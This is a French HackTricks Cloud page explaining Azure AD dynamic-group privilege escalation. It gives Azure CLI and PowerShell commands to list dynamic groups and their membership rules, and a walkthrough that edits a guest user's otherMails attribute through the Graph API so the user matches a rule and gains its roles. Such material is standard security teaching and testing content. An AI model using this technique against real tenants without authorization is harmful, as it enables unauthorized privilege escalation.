Az - Dynamic Groups Privesc
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Informations de base
Dynamic groups sont des groupes qui ont un ensemble de règles configurées et tous les utilisateurs ou appareils qui correspondent aux règles sont ajoutés au groupe. À chaque fois qu’un attribut d’un utilisateur ou d’un appareil est modifié, les règles dynamiques sont réévaluées. Et lorsqu’une nouvelle règle est créée, tous les appareils et utilisateurs sont vérifiés.
Dynamic groups peuvent se voir attribuer des Azure RBAC roles assigned, mais il n’est pas possible d’ajouter des AzureAD roles aux Dynamic groups.
Cette fonctionnalité nécessite une licence Azure AD Premium P1.
Privesc
Notez que par défaut tout utilisateur peut inviter des guests dans Azure AD. Donc, si une règle d’un Dynamic group donne des permissions à des utilisateurs basées sur des attributs qui peuvent être définis sur un nouveau guest, il est possible de créer un guest avec ces attributs et d’escalader les privilèges. Un guest peut aussi gérer son propre profil et modifier ces attributs.
Récupérer les groupes qui autorisent Dynamic membership : az ad group list --query "[?contains(groupTypes, 'DynamicMembership')]" --output table
Énumération des Dynamic Groups
Obtenir les règles d’un Dynamic group :
Avec Azure CLI :
az ad group list \
--filter "groupTypes/any(c:c eq 'DynamicMembership')" \
--query "[].{displayName:displayName, rule:membershipRule}" \
-o table
Avec PowerShell et Microsoft Graph SDK :
Install-Module Microsoft.Graph -Scope CurrentUser -Force
Import-Module Microsoft.Graph
Connect-MgGraph -Scopes "Group.Read.All"
Get-MgGroup -Filter "groupTypes/any(c:c eq 'DynamicMembership')" `
-Property Id, DisplayName, GroupTypes
# Get the rules of a specific group
$g = Get-MgGroup -Filter "displayName eq '<GROUP NAME>'" `
-Property DisplayName, GroupTypes, MembershipRule, MembershipRuleProcessingState
$g | Select-Object DisplayName, GroupTypes, MembershipRule
# Get the rules of all dynamic groups
Get-MgGroup -Filter "groupTypes/any(c:c eq 'DynamicMembership')" `
-Property DisplayName, MembershipRule |
Select-Object DisplayName, MembershipRule
Exemple
- Exemple de règle:
(user.otherMails -any (_ -contains "security")) -and (user.userType -eq "guest") - Description de la règle: Tout utilisateur Guest avec un e-mail secondaire contenant la chaîne ‘security’ sera ajouté au groupe
Pour l’e-mail de l’utilisateur Guest, acceptez l’invitation et vérifiez les paramètres actuels de cet utilisateur dans https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView.
Malheureusement, la page n’autorise pas la modification des valeurs des attributs, nous devons donc utiliser l’API:
# Login with the gust user
az login --allow-no-subscriptions
# Get user object ID
az ad signed-in-user show
# Update otherMails
az rest --method PATCH \
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
--headers 'Content-Type=application/json' \
--body '{"otherMails": ["newemail@example.com", "anotheremail@example.com"]}'
# Verify the update
az rest --method GET \
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
--query "otherMails"
Références
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
HackTricks Cloud

